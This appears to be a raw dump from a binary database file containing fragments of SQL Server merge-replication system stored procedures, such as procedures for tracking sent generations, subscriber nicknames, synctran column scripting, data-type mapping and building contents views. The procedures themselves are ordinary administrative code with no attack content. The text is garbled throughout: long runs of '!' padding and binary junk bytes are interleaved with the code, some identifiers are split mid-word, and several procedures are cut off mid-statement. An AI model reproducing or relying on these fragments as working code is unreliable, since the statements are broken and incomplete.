0M> 88& !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N
`

<A}{0< ]8create procedure sys.sp_MScomputelastsentgen
    (@repid uniqueidentifier)
as
    declare @retcode int
    declare @mingen         bigint
    declare @lastsentgen    bigint
    declare @lastsentguid   uniqueidentifier
    
    -- this proc should be called on the subscriber. Hence dbo check is good
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    select @lastsentgen = max(g.generation) 
        from MSmerge_genhistory g,
        (select isnull(gen2.generation, gen1.generation) as generation
            from (select max(generation) as generation from dbo.MSmerge_genhistory where genstatus in (1,2)) as gen1,
                 (select min(generation) as generation from dbo.MSmerge_genhistory where genstatus in (0,4)) as gen2
        ) as minopengen
    where g.generation <= minopengen.generation and g.genstatus in (1,2)
    
    if @lastsentgen is not NULL
    begin
        select @lastsentguid = guidsrc from dbo.MSmerge_genhistory where generation = @lastsentgen
        exec @retcode = sys.sp_MSsetlastsentgen @repid, @lastsentgen, @lastsentguid
        if @@error <> 0 or @retcode <> 0
        begin
            -- should never get here
            RAISERROR('Setting sentgen failed.', 16, -1)
            return 1
        end
    end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<j~0@ 48create procedure sys.sp_MSalreadyhavegeneration
    (@genguid uniqueidentifier, 
     @subscribernick binary(6),
     @compatlevel int = 10) -- backward compatibility level, default=Sphinx

as
    declare @nicknames varbinary(1000)
    declare @offset int
    declare @retcode int
    declare @dbname sysname
    
    -- Security Checking 
    -- PAL users have access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    if (@genguid is null)
    begin
        RAISERROR(14043, 16, -1, '@genguid', 'sp_MSalreadyhavegeneration')
        return (1)
    end

    select @nicknames = nicknames from dbo.MSmerge_genhistory where guidsrc = @genguid
    if @nicknames is null
    begin
        set @dbname= db_name()
        -- what is the appropriate error to return?
        RAISERROR(21333, 16, -1, @dbname)
        return (1)
    end

    if @compatlevel < 90
        set @subscribernick= substring(@subscribernick,1,4) + 0x0000

    declare @replnicklength int
    set @replnicklength= col_length('sysmergesubscriptions', 'replnickname')
    set @offset= 1
    while @offset < DATALENGTH(@nicknames)
    begin
        -- If the subscriber nickname is already in the list just return
        if substring(@nicknames, @offset, @replnicklength) = @subscribernick
            return (0)
        set @offset = @offset + @replnicklength
    end
    
    -- Subscriber nickname is not in the array.  Add it so that we won't send this gen
    -- back down in the return message.  (Would waste bandwidth...)

    -- Append guard byte
        set @offset = DATALENGTH(@nicknames)
    if substring(@nicknames, @offset, 1) <> 0xFF
        begin
                set @nicknames = @nicknames + 0xFF
        end

    if @nicknames = 0x0
        set @nicknames = @subscribernick + 0xFF
    else
        set @nicknames = @subscribernick + @nicknames

    update dbo.MSmerge_genhistory set nicknames = @nic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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`r<S=Us/0 @ 8create procedure sys.sp_MSget_synctran_column
(
    @ts_col sysname,
    @op_type char(3), -- 'ins, 'upd', 'del'
    @is_new    bit,
    @primary_key_bitmap varbinary(4000) = null,
    @colname sysname,
    @this_col int, -- position in source object
    @column nvarchar(4000) output,
    @from_proc bit = 0,
    @coltype sysname = NULL,
    @type    varchar(10) = NULL,
    @art_col int = NULL -- position in the partition.
)
as
begin
    declare @bytestr      nvarchar(10)
            ,@bitstr       nvarchar(10)
            ,@typed_null      nvarchar(255)

    --
    -- if @art_col is not NULL then it means one of the following:
    -- 1) If we are scripting for triggers - then it means the subscriber
    --     table (destination table) was altered and column id do not match
    --     relative column order(as specified in PK bitmap or columns_updated()).
    --    The @art_col will represent the relative column order in the bitmap
    --    and @this_col will represent the actual column id
    --
    -- 2) If we are scripting for synctran procedures on publisher - then 
    --    @art_col represents the relative index of the column that is being
    --    replicated and @this_col represents the actual column id of the column
    --
    -- if @art_col is NULL - then we will set it to the value of @this_col
    --
    if (@art_col is NULL)
        select @art_col = @this_col
        
    select @typed_null = case when (@coltype is null) then N'NULL'
                    else N'convert(' + @coltype + N', NULL)' end

    -- Optimization:
    -- If the column value is not needed, we set the corresponding
    -- param to null to reduce the network traffic. Here is the rule:

    -- For new values in update trigger,
    --    Set the param to column value or null depending on whether or
    --  or the column is updated.
    -- For old values 
    --    if ts col is replicated and the current column is not the ts col
    --    and the column is not in primary key, set the param to null
    -- For other cases
    --    set the param to column values.

    -- Called by proc
    if @type = 'pk_var'
    begin
        select @bytestr = convert( nvarchar, 1 + (@art_col-1) / 8 )
        select @bitstr =  convert( nvarchar, power(2, (@art_col-1) % 8 ) )

        select @column = N'case substring(@bitmap,' 
            + @bytestr + N',1) & ' + @bitstr +  
            N' when ' + @bitstr + N' then ' + N'@c'+ convert( nvarchar, @this_col ) + 
            N' else ' + N'@c'+ convert( nvarchar, @this_col )  + N'_old end'
    end
    else if (@from_proc = 1)
    begin
        select @bytestr = convert( nvarchar, 1 + (@art_col-1) / 8 )
        select @bitstr =  convert( nvarchar, power(2, (@art_col-1) % 8 ) )

        select @column = N'case substring(@bitmap,' 
            + @bytestr + N',1) & ' + @bitstr +  
            N' when ' + @bitstr + N' then ' + N'@c'+ convert( nvarchar, @this_col ) + 
            N' else ' + quotename(@colname) + N' end'
    end
    -- Called in trigger,
    else if (@is_new = 1) and (@op_type = 'upd')
    begin
        -- @bitmap is set using columns_updated() at the beginning
        -- of the trigger.
        select @bytestr = convert( nvarchar, 1 + (@art_col-1) / 8 )
        select @bitstr =  convert( nvarchar, power(2, (@art_col-1) % 8 ) )

        if (lower(@coltype) = 'xml')
        begin
            select @column = N'case substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  
                N' when ' + @bitstr + N' then convert(xml, ' + quotename(@colname) + N') ' + 
                N' else ' + @typed_null 
                +' end'
        end
        else
        begin
            select @column = N'case substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  
                N' when ' + @bitstr + N' then ' + quotename(@colname) + N' ' + 
                N' else ' + @typed_null 
                +' end'
        end
    end
    else if ((@is_new = 0) and 
        (@ts_col is not null and @colname not in (@ts_col, N'msrepl_tran_version')) and
        (@primary_key_bitmap is not null and 
        (substring(@primary_key_bitmap, 1 + (@art_col-1) / 8 , 1) & power(2, (@art_col-1) % 8 )) = 0))
        select @column =  @typed_null
    else 
        select @column = quotename(@colname)
    
    -- Add a new line
    select @column = @column + N'
    '
end
0^ p8
--
-- Name:
--		sp_getdefaultdatatypemapping
--
-- Description:
--		Retrieve default data type for specified parameters
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Public
--
-- Notes:
--		
--

create procedure sys.sp_getdefaultdatatypemapping
(
	@source_dbms			sysname,
	@source_version			varchar(10) = NULL,
	@source_type			sysname,
	@source_length			bigint = NULL,
	@source_precision		int = NULL,
	@source_scale			int = NULL,
	@source_nullable		bit = 1,
	@destination_dbms		sysname,
	@destination_version	varchar(10) = NULL,
	@destination_type		sysname OUTPUT,
	@destination_length		bigint OUTPUT,
	@destination_precision	int OUTPUT,
	@destination_scale		int OUTPUT,
	@destination_nullable	bit OUTPUT,
	@dataloss				bit OUTPUT
)
as
BEGIN
	DECLARE @retcode int
	SET @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END


	-- Check if type even exists
	IF (sys.fn_MSrepl_checktype(@source_type, @source_dbms, @source_version) = 0)
	BEGIN
		RAISERROR(21654, 16, -1, @source_type)
		RETURN (1)
	END
	
	SELECT	@destination_type		= destination_type,
			@destination_length		= destination_length,
			@destination_precision	= destination_precision,
			@destination_scale		= destination_scale,
			@destination_nullable	= destination_nullable,
			@dataloss				= dataloss
	FROM	sys.fn_MSrepl_getdatatypemappings
			(
				@source_dbms,
				@source_version,
				@source_type,
				@source_length,
				@source_precision,
				@source_scale,
				@source_nullable,
				@destination_dbms,
				@destination_version,
				1,
				NULL
			)
			
	IF @@ROWCOUNT = 0
	BEGIN
		RAISERROR (21656, 16, -1, @source_type)
		RETURN (1)
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<([߀wv;                @ctsview_90_forglobal = ctsvw_90_forglobal, 
                    @ctsview_rowtrack = ctsview_rowtrack, 
                    @ctsview_80 = ctsvw_80 
            from @temp_cts_views where tablenickname = @tablenick

            exec @retcode = sp_MSdropview_internal @ctsview
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_90_forall
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_90_forglobal
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_rowtrack
            if @@ERROR<>0 OR @retcode<>0 return (1)

            exec @retcode = sp_MSdropview_internal @ctsview_80
            if @@ERROR<>0 OR @retcode<>0 return (1)

            select @tablenick = min(tablenickname) from @temp_cts_views where tablenickname > @tablenick
        end
    end

    /* pubidstr is needed in GUID format */
    set @pubidstr = '''' + convert(nchar(36), @pubid) + ''''

    -- beginning of actual makectsview. After this point is where the actual views get
    -- created or the view creation command is built up as the case may be for per article
    -- cts view and overall cts view respectively.
    if not exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1) and
       not exists (select * from dbo.sysmergearticles where pubid = @pubid and
                    len(subset_filterclause) > 0)
    begin
        -- Non-filtered case
        if @generate_per_article = 0
        begin
            -- If @generate_per_article = 0, an entire view is returned in @command_piece.
            set @command_piece = 'create view dbo.' + QUOTENAME(@ctsview) + ' as select * from dbo.MSmerge_contents '
                                    + ' where generation <= ' + convert(nvarchar, @max_bcp_gen)

            --5 and 6 are the new article statuses - they indicate new_inactive and new_active
            set @command_piece = @command_piece + ' and tablenick in
                (select nickname from dbo.sysmergearticles where status<>5 and status<>6 and pubid = ' + @pubidstr + ')'

            insert into @tempcmd (phase, cmdtext) values (1, @command_piece)
        end
        else
        begin
            -- per article contents view for unfiltered publication
            select @tablenick = min(nickname) from dbo.sysmergearticles where pubid = @pubid and status<>@new_active and status<>@new_inactive
            while @tablenick is not null
            begin
                if not exists(select * from @temp_cts_views where tablenickname = @tablenick)
                    return (1)

                select @is_coltracked = sys.fn_fIsColTracked(@tablenick) 
                select @colv_entries = sys.fn_cColvEntries_80(@pubid, @tablenick)
                
                select  @ctsview = ctsvw, 
                        @ctsview_90_forall = ctsvw_90_forall, 
                        @ctsview_90_forglobal = ctsvw_90_forglobal, 
                        @ctsview_rowtrack = ctsview_rowtrack, 
                        @ctsview_80 = ctsvw_80 
                from @temp_cts_views where tablenickname = @tablenick
                
                set @tablenickstr = convert(nchar(12), @tablenick)

                set @command_piece='create view dbo.' + QUOTENAME(@ctsview) + ' as select * from dbo.MSmerge_contents where tablenick = ' + @tablenickstr 
                                    + ' and generation <= ' + convert(nvarchar, @max_bcp_gen)
                exec (@command_piece)
                if @@ERROR <>0 return (1)

                exec @retcode = sys.sp_MS_marksystemobject @ctsview 
                if @@ERROR<>0 or @retcode<>0 return (1)

                if @ctsview_90_forall is not NULL
                begin
                    set @command_piece_forall = 'create view dbo.' + QUOTENAME(@ctsview_90_forall) + ' as select * from dbo.MSmerge_contents '
                                        + ' where generation <= ' + convert(nvarchar, @max_bcp_gen)
                    set @command_piece_forall = @command_piece_forall + ' and (tablenick = ' + @tablenickstr + ')'
                    exec ( @command_piece_forall )
                    if @@ERROR <>0 return (1)

                    -- mark all the views as system objects
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_90_forall 
                    if @@ERROR<>0 or @retcode<>0 return (1)
                end

                if @ctsview_90_forglobal is not NULL
                begin
                    set @command_piece_forglobal = 'create view dbo.' + QUOTENAME(@ctsview_90_forglobal) + ' as select * from dbo.MSmerge_contents ' 
                                                    + ' where generation <= ' + convert(nvarchar, @max_bcp_gen)
                    set @command_piece_forglobal = @command_piece_forglobal + ' and (tablenick = ' + @tablenickstr + ')'
                    exec ( @command_piece_forglobal )
                    if @@ERROR <>0 return (1)
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_90_forglobal 
                    if @@ERROR<>0 or @retcode<>0 return (1)
                end

                if @ctsview_rowtrack is not NULL
                begin
                    set @command_piece_rowtrack = 
                        'create view dbo.' + QUOTENAME(@ctsview_rowtrack) + ' 
                         as 
                            select 
                                tablenick, 
                                rowguid, 
                                changetype=cast(11 as tinyint), -- @METADATA_TYPE_UpsertLightweightProcessed
                                changed=cast(sys.fn_MSdayasnumber(getdate()) as int),
                                rowvector=substring(lineage, 1, 10) + 0xFF,
                                changedcolumns=cast(null as varbinary),
                                columns_enumeration='
                    if @is_coltracked = 1
                        select @command_piece_rowtrack = @command_piece_rowtrack + 'cast(0 as tinyint)' -- @COLUMNS_ENUMERATED_ChangedOnly
                    else
                        select @command_piece_rowtrack = @command_piece_rowtrack + 'cast(2 as tinyint)' -- @COLUMNS_ENUMERATED_AllOnOtherReason

                    select @command_piece_rowtrack = @command_piece_rowtrack + ',
                                sync_cookie=null
                            from dbo.MSmerge_contents
                            where generation <= ' + convert(nvarchar, @max_bcp_gen)
                    set @command_piece_rowtrack = @command_piece_rowtrack + ' and (tablenick = ' + @tablenickstr + ')'
                    exec ( @command_piece_rowtrack )
                    if @@ERROR <>0 return (1)
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_rowtrack 
                    if @@ERROR<>0 or @retcode<>0 return (1)
                end

                -- note here that ctsview_90_forall will be null for a downloadonly article. But download only articles are a 90 only feature.
                -- hence the following if should be false since when creating the ctsview names above we check whether the pub compat level is <90
                -- if so only then create this name.
                if @ctsview_80 is not NULL
                begin
                    set @command_piece= 'create view dbo.' + QUOTENAME(@ctsview_80) + ' as 
                    select tablenick, rowguid, 
                    generation = case when abs(generation) > 2147483647 then 0 else isnull(convert(int, generation),0) end, 
                    partchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then NULL else partchangegen end) end, 
                    joinchangegen =!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<([itxv; case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then (-partchangegen) else partchangegen end) end, 
                    lineage = {fn LINEAGE_90_TO_80(lineage)}, 
                    colv1 = '
                    if @is_coltracked = 1
                        set @command_piece = @command_piece + '{fn COLV_90_TO_80(colv1, ' + convert(nvarchar(8), @colv_entries) + ')}'
                    else
                        set @command_piece = @command_piece + 'cast(null as varbinary)'
                        
                    set @command_piece = @command_piece + '
                    from ' + @ctsview
                    
                    exec @retcode= sys.sp_executesql @command_piece
                    if @@error <> 0 or @retcode <> 0 return 1
                    
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_80 
                    if @@ERROR<>0 or @retcode<>0 return (1)
                end
                
                /* Advance to next article and repeat the loop */
                select @tablenick = min(nickname) from dbo.sysmergearticles where
                    pubid = @pubid and nickname > @tablenick and status<>@new_active and status<>@new_inactive
            end
        end        
        goto Finish
    end
    else
    begin
        -- Filtered case.
        
        if @generate_per_article = 0
        begin
            set @command_piece = 'create view dbo.' + QUOTENAME(@ctsview) + ' as select * from dbo.MSmerge_contents where ' +
                                       ' generation <= ' + convert(nvarchar, @max_bcp_gen) + 
                                       ' and ({fn ISPALUSER(' + @pubidstr + ')} = 1) and '
            insert into @tempcmd (phase, cmdtext) values (1, @command_piece)
        end         

        /* Initialize for loop over articles in this publication */
        select @tablenick = min(nickname) from dbo.sysmergearticles where pubid = @pubid and status<>@new_active and status<>@new_inactive
        while @tablenick is not null
        begin
            select @is_coltracked = sys.fn_fIsColTracked(@tablenick) 
            select @colv_entries = sys.fn_cColvEntries_80(@pubid, @tablenick)
            
            if @dynamic_snapshot_views_table_name is null or @dynamic_snapshot_views_table_name = N''
            begin
                select @objid = objid, @view_type = view_type, @view_name = object_name(sync_objid) from 
                    dbo.sysmergearticles where pubid = @pubid and nickname = @tablenick 
            end
            else
            begin
                select @select_command = '
                    select @objid = sma.objid, 
                    @view_type = sma.view_type, 
                           @view_name = dsvt.dynamic_snapshot_view_name 
                      from dbo.sysmergearticles sma
                    inner join ' + quotename(@dynamic_snapshot_views_table_name) + ' dsvt 
                        on dsvt.artid = sma.artid            
                     where pubid = @pubid 
                       and nickname = @tablenick'
                exec sys.sp_executesql @select_command,
                                   N'@objid int output, 
                                     @view_type int output, 
                                     @view_name nvarchar(270) output,
                                     @pubid uniqueidentifier,
                                     @tablenick int',
                                   @objid = @objid output,
                                   @view_type = @view_type output, 
                                   @view_name = @view_name output,
                                   @pubid = @pubid,
                                   @tablenick = @tablenick  
                if @@error<>0 return(1)
            end
            select @rowguidcolname = name from sys.columns where object_id = @objid and is_rowguidcol=1 

            set @rowguidcolname = QUOTENAME(@rowguidcolname)
            set @view_name = QUOTENAME(@view_name)
            set @tablenickstr = convert(nchar(12), @tablenick)
                        
            if @generate_per_article = 0
            begin
                if @view_type <> 0
                begin
                    set @command_piece = @or_after_first + ' 
                    (tablenick = ' + @tablenickstr + ' and rowguid in
                        (select ' + @rowguidcolname + ' from ' + @view_name + '))'
                end
                else
                begin
                    set @command_piece = @or_after_first + ' 
                    (tablenick = ' + @tablenickstr + ')'
                end
                
                insert into @tempcmd (phase, cmdtext) values (2, @command_piece)
            end
            else
            begin
                -- by the time we reach this point we have already pregenerated the view names that should
                -- be used and stored them in the temp table @temp_cts_views
                -- check here to make sure that this article exists in the temp table
                if not exists(select * from @temp_cts_views where tablenickname = @tablenick)
                    return (1)
                
                select  @ctsview = ctsvw, 
                                @ctsview_90_forall = ctsvw_90_forall, 
                                @ctsview_90_forglobal = ctsvw_90_forglobal, 
                                @ctsview_rowtrack = ctsview_rowtrack, 
                                @ctsview_80 = ctsvw_80 
                    from @temp_cts_views where tablenickname = @tablenick

                if @view_type <> 0
                begin
                    set @command_piece = 'create view dbo.' + QUOTENAME(@ctsview) + 
                    ' as select * from dbo.MSmerge_contents 
                        where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                             and (tablenick = ' + @tablenickstr + ' and 
                            rowguid in (select ' + @rowguidcolname + ' from ' + @view_name + ')) '
                    exec ( @command_piece )
                    if @@ERROR <>0 return (1)

                    if @ctsview_90_forall is not NULL
                    begin
                        set @command_piece_forall = 'create view dbo.' + QUOTENAME(@ctsview_90_forall) + 
                        ' as select * from dbo.MSmerge_contents 
                            where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                                 and (tablenick = ' + @tablenickstr + ' and 
                                rowguid in (select ' + @rowguidcolname + ' from ' + @view_name + '))'
                        exec ( @command_piece_forall )
                        if @@ERROR <>0 return (1)
                    end

                    if @ctsview_90_forglobal is not NULL
                    begin
                        set @command_piece_forglobal = 'create view dbo.' + QUOTENAME(@ctsview_90_forglobal) + 
                        ' as select * from dbo.MSmerge_contents 
                            where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                             and (tablenick = ' + @tablenickstr + ' and 
                                rowguid in (select ' + @rowguidcolname + ' from ' + @view_name + ')) '
                        exec ( @command_piece_forglobal )
                        if @@ERROR <>0 return (1)
                    end

                    if @ctsview_rowtrack is not NULL
                    begin
                        set @command_piece_rowtrack = 'create view dbo.' + QUOTENAME(@ctsview_rowtrack) + 
                        ' as select 
                                tablenick, 
                                rowguid, 
                                changetype=cast(11 as tinyint), -- @METADATA_TY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<([v;PE_UpsertLightweightProcessed
                                changed=cast(sys.fn_MSdayasnumber(getdate()) as int),
                                rowvector=substring(lineage, 1, 10) + 0xFF,
                                changedcolumns=cast(null as varbinary),
                                columns_enumeration='
                    if @is_coltracked = 1
                        select @command_piece_rowtrack = @command_piece_rowtrack + 'cast(0 as tinyint)' -- @COLUMNS_ENUMERATED_ChangedOnly
                    else
                        select @command_piece_rowtrack = @command_piece_rowtrack + 'cast(2 as tinyint)' -- @COLUMNS_ENUMERATED_AllOnOtherReason

                    select @command_piece_rowtrack = @command_piece_rowtrack + ',
                                sync_cookie=null
                            from dbo.MSmerge_contents
                            where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                             and (tablenick = ' + @tablenickstr + ' and 
                                rowguid in (select ' + @rowguidcolname + ' from ' + @view_name + ')) '
                        exec ( @command_piece_rowtrack )
                        if @@ERROR <>0 return (1)
                    end

                    if @ctsview_80 is not NULL
                    begin
                        set @command_piece = 'create view dbo.' + QUOTENAME(@ctsview_80) + ' as 
    select tablenick, rowguid, 
    generation = case when abs(generation) > 2147483647 then 0 else isnull(convert(int, generation),0) end, 
    partchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then NULL else partchangegen end) end, 
    joinchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then (-partchangegen) else partchangegen end) end, 
    lineage = {fn LINEAGE_90_TO_80(lineage)}, 
    colv1 = '
                        if @is_coltracked = 1
                            set @command_piece = @command_piece + '{fn COLV_90_TO_80(colv1, ' + convert(nvarchar(8), @colv_entries) + ')}'
                        else
                            set @command_piece = @command_piece + 'cast(null as varbinary)'
                            
                        set @command_piece = @command_piece + '
    from ' + QUOTENAME(@ctsview)
                        exec (@command_piece)
                        if @@ERROR <>0 return (1)
                    end
                end
                else
                begin
                    -- we get here if we find an unfiltered article in a publication which has some
                    -- subset filters
                    set @command_piece = 'create view dbo.' + QUOTENAME(@ctsview) + 
                    ' as select * from dbo.MSmerge_contents 
                        where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                             and (tablenick = ' + @tablenickstr + ')'
                    exec ( @command_piece )
                    if @@ERROR <>0 return (1)

                    if @ctsview_90_forall is not NULL
                    begin
                        set @command_piece_forall = 'create view dbo.' + QUOTENAME(@ctsview_90_forall) + 
                        ' as select * from dbo.MSmerge_contents 
                            where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                                 and (tablenick = ' + @tablenickstr + ') '
                        exec ( @command_piece_forall )
                        if @@ERROR <>0 return (1)
                    end
                    
                    if @ctsview_90_forglobal is not NULL
                    begin
                        set @command_piece_forglobal = 'create view dbo.' + QUOTENAME(@ctsview_90_forglobal) + 
                        ' as select * from dbo.MSmerge_contents 
                            where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                             and (tablenick = ' + @tablenickstr + ') '
                        exec ( @command_piece_forglobal )
                        if @@ERROR <>0 return (1)
                    end

                    if @ctsview_rowtrack is not NULL
                    begin
                        set @command_piece_rowtrack = 'create view dbo.' + QUOTENAME(@ctsview_rowtrack) + 
                        ' as select
                                tablenick, 
                                rowguid, 
                                changetype=cast(11 as tinyint), -- @METADATA_TYPE_UpsertLightweightProcessed
                                changed=cast(sys.fn_MSdayasnumber(getdate()) as int),
                                rowvector=substring(lineage, 1, 10) + 0xFF,
                                changedcolumns=cast(null as varbinary),
                                columns_enumeration='
                        if @is_coltracked = 1
                            select @command_piece_rowtrack = @command_piece_rowtrack + 'cast(0 as tinyint)' -- @COLUMNS_ENUMERATED_ChangedOnly
                        else
                            select @command_piece_rowtrack = @command_piece_rowtrack + 'cast(2 as tinyint)' -- @COLUMNS_ENUMERATED_AllOnOtherReason

                        select @command_piece_rowtrack = @command_piece_rowtrack + ',
                                sync_cookie=null
                            from dbo.MSmerge_contents 
                            where generation <= ' + convert(nvarchar, @max_bcp_gen) + '
                             and (tablenick = ' + @tablenickstr + ') '
                        exec ( @command_piece_rowtrack )
                        if @@ERROR <>0 return (1)
                    end

                    if @ctsview_80 is not NULL
                    begin
                        set @command_piece = 'create view dbo.' + QUOTENAME(@ctsview_80) + ' as 
    select tablenick, rowguid, 
    generation = case when abs(generation) > 2147483647 then 0 else isnull(convert(int, generation),0) end, 
    partchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then NULL else partchangegen end) end, 
    joinchangegen = case when abs(partchangegen) > 2147483647 then 0 else convert(int, case when partchangegen < 0 then (-partchangegen) else partchangegen end) end, 
    lineage = {fn LINEAGE_90_TO_80(lineage)}, 
    colv1 = '
                        if @is_coltracked = 1
                            set @command_piece = @command_piece + '{fn COLV_90_TO_80(colv1, ' + convert(nvarchar(8), @colv_entries) + ')}'
                        else
                            set @command_piece = @command_piece + 'cast(null as varbinary)'
                            
                        set @command_piece = @command_piece + '
    from ' + QUOTENAME(@ctsview)
                         exec (@command_piece)
                         if @@ERROR <>0 return (1)
                    end
                end
                
                -- mark all the views as system objects
                exec @retcode = sys.sp_MS_marksystemobject @ctsview 
                if @@ERROR<>0 or @retcode<>0 return (1)

                if @ctsview_90_forall is not NULL
                begin
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_90_forall 
                    if @@ERROR<>0 or @retcode<>0 return (1)
                end

                if @ctsview_90_forglobal is not NULL
                begin
                    exec @retcode = sys.sp_MS_marksystemobject @ctsview_90_forglobal 
